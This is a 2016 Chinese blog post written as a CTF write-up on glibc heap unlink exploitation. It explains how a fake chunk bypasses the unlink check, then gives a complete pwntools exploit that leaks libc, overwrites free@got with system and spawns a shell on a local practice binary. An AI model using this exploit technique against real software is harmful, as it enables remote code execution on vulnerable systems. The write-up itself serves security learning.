[CTF]Heap vuln -- unlink

0x00: 起因

一直在堆的漏洞利用中不得要领,之前ZCTF又是三个堆的利用,血崩,chxx表哥给写了一个heap的pwn,学习学习。

0x01:

关于heap的unlink的漏洞利用,出的很早,在低版本的libc中,因为没有校验,导致在unlink的时候可以通过构造堆块dwordshoot,从而任意代码执行。
对于这种漏洞的学习,首先要了解malloc的工作原理及几种堆块的分配、使用方式。推荐文章 Understanding glibc malloc

0x02: 文件的一些信息


0x03:分析

程序是一个菜单式的程序,可以用户自定义分配块的长度和内容,漏洞在于:edit的时候,没做长度校验导致可以溢出,通过构造可以bypass 在libc中unlink的校验,从而getshell。

0x04:在drops看到的姿势

堆溢出的unlink利用方法

按照文中给出的方式,为了bypass

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr (check_action, "corrupted double-linked list", P);

这么一个指针的校验,我们找到一个特殊的 指针ptr是指向p的(p指向堆)
那么可以根据p去构造bk和fd两个指针

chunk0                malloc返回的ptr           chunk1        malloc返回的ptr
|                     |                        |             |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
|           |         |fake|fake|fake|fake| D  | fake | fake |    |    |      |
|           |         |prev|size| FD | BK | A  | prev | size&|    |    |      |
| prev_size |size&Flag|size|    |    |    | T  | size | flag |    |    |      |
|           |         |    |    |    |    | A  |      |      |    |    |      |
|           |         |    |    |    |    |    |      |      |    |    |      |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
                      |--------new_size--------|
                      list
l32(0)  +  l32(0x89)  +  l32(list-0xc) + l32(list-0x8) +"A"*(128-4*4)
#fake_pre_szie + fake_size + fake_FD + fake_BK + DATA
#   4bytes        4bytes     4bytes    4bytes    128-4*4

#pre_size   +   size&flag
l32(0x80) + l32(0x88)
free(chunk_1)

分配两个长度合适的块,伪造第一个块,然后通过修改了第二个块的pre_size 和size
然后free(chunk1) 触发unlink

之后再次修改指针p 从而达到leak地址,修改地址的目的

0x05:exp

from pwn import *

context.update(os='linux', arch='i386')
p = remote('127.0.0.1',10001)

chunk_list = 0x8049d60
free_got = 0x8049ce8

flag = 0
def leak(addr):
    data = "A" * 0xc + p32(chunk_list-0xc) + p32(addr)
    global flag
    if flag == 0:
        set_chunk(0, data)
        flag = 1
    else:
        set_chunk2(0, data)
    res = ""
    p.recvuntil('5.Exit\n')
    res = print_chunk(1)
    print("leaking: %#x ---> %s" % (addr, res[0:4].encode('hex')))
    return res[0:4]

def add_chunk(len):
    print p.recvuntil('\n')
    p.sendline('1')
    print p.recvuntil('Input the size of chunk you want to add:')
    p.sendline(str(len))

def set_chunk(index,data):
    p.recvuntil('5.Exit\n')
    p.sendline('2')
    p.recvuntil('Set chunk index:')
    p.sendline(str(index))
    p.recvuntil('Set chunk data:')
    p.sendline(data)

def set_chunk2(index, data):
    p.sendline('2')
    p.recvuntil('Set chunk index:')
    p.sendline(str(index))
    p.recvuntil('Set chunk data:')
    p.sendline(data)

def del_chunk(index):
    p.recvuntil('\n')
    p.sendline('3')
    p.recvuntil('Delete chunk index:')
    p.sendline(str(index))

def print_chunk(index):
    p.sendline('4')
    p.recvuntil('Print chunk index:')
    p.sendline(str(index))
    res = p.recvuntil('5.Exit\n')
    return res



raw_input('add_chunk')
add_chunk(128)  #0
add_chunk(128)  #1
add_chunk(128)  #2
add_chunk(128)  #3
set_chunk(3, '/bin/sh')

#fake_chunk
payload = ""
payload += p32(0) + p32(0x89) + p32(chunk_list-0xc) + p32(chunk_list-0x8)
payload += "A"*(0x80-4*4)
#2nd chunk 
payload += p32(0x80) + p32(0x88)

set_chunk(0,payload)
#get the pointer
del_chunk(1)

set_chunk(0, 'A' * 12 + p32(0x8049d54) + p32(0x8049d14))

raw_input('leak')
#leak system_addr
pwn_elf = ELF('./heap')
d = DynELF(leak, elf=pwn_elf)
sys_addr = d.lookup('system', 'libc')
print("system addr: %#x" % sys_addr)

raw_input('edit free@got')
data = "A" * 12 + p32(chunk_list-0xc) + p32(free_got)
set_chunk2('0', data)

set_chunk2('1', p32(sys_addr))

del_chunk('3')
p.interactive()
p.close()

0x06:参考文章

1. Understanding glibc malloc
2. 堆溢出的unlink利用方法

最后还要感谢chxx大表哥的pwn和指导=。=

所有文件都在这里了 文件下载

posted @ 2016-02-15 12:40 何沐 阅读(...) 评论(...) 编辑 收藏